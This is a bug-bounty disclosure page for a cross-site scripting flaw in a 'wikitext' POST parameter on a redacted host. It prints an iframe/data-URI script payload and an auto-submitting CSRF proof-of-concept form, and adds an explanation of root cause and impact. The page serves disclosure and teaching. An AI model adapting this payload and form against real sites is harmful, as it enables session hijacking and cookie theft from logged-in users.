Cross-Site Scripting via 'wikitext' parameter
A cross-site scripting flaw existed in the 'wikitext' parameter submitted via POST, allowing an attacker to inject an iframe with a data URI containing a script. An attacker could execute arbitrary JavaScript in a victim's browser, potentially stealing cookies and hijacking sessions.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 27 days
- Disclosed after 8 months
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: wikitext Payload: <iframe+src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg=="></iframe>
References
███████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
You have to open this code on a page/site that is yours:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="███████" method="POST">
<input type="hidden" name="doImports" value="false" />
<input type="hidden" name="entryid" value="d00cc920-e292-4475-8e23-c6cbf69f5725" />
<input type="hidden" name="wikitext" value="{{information details=true}} {{tabletree  message=""}}<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg=="></iframe>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
And will appear the alert().
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application rendered the 'wikitext' parameter without context-dependent encoding or validation, allowing HTML and script-bearing elements to be injected.
Impact
Exploitation could lead to session hijacking by stealing cookies and impersonating legitimate users, though the report does not demonstrate cookie theft itself.
What the attacker needed
Victim visits attacker-controlled page; victim is logged in to target site
How it was found
- Create a page or site that you control.
- Place an HTML form on that page that submits a POST request to the vulnerable endpoint with the 'wikitext' parameter containing the malicious iframe.
- Submit the form, which sends the crafted request to the target.
- Observe the alert() box appear, confirming script execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website takes input from a user and puts it into a page without making it safe, so an attacker can sneak in their own code. Here, the 'wikitext' field accepted an iframe that loaded a script from a data link, and the browser ran it. That script could then read cookies or act as the logged-in user.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.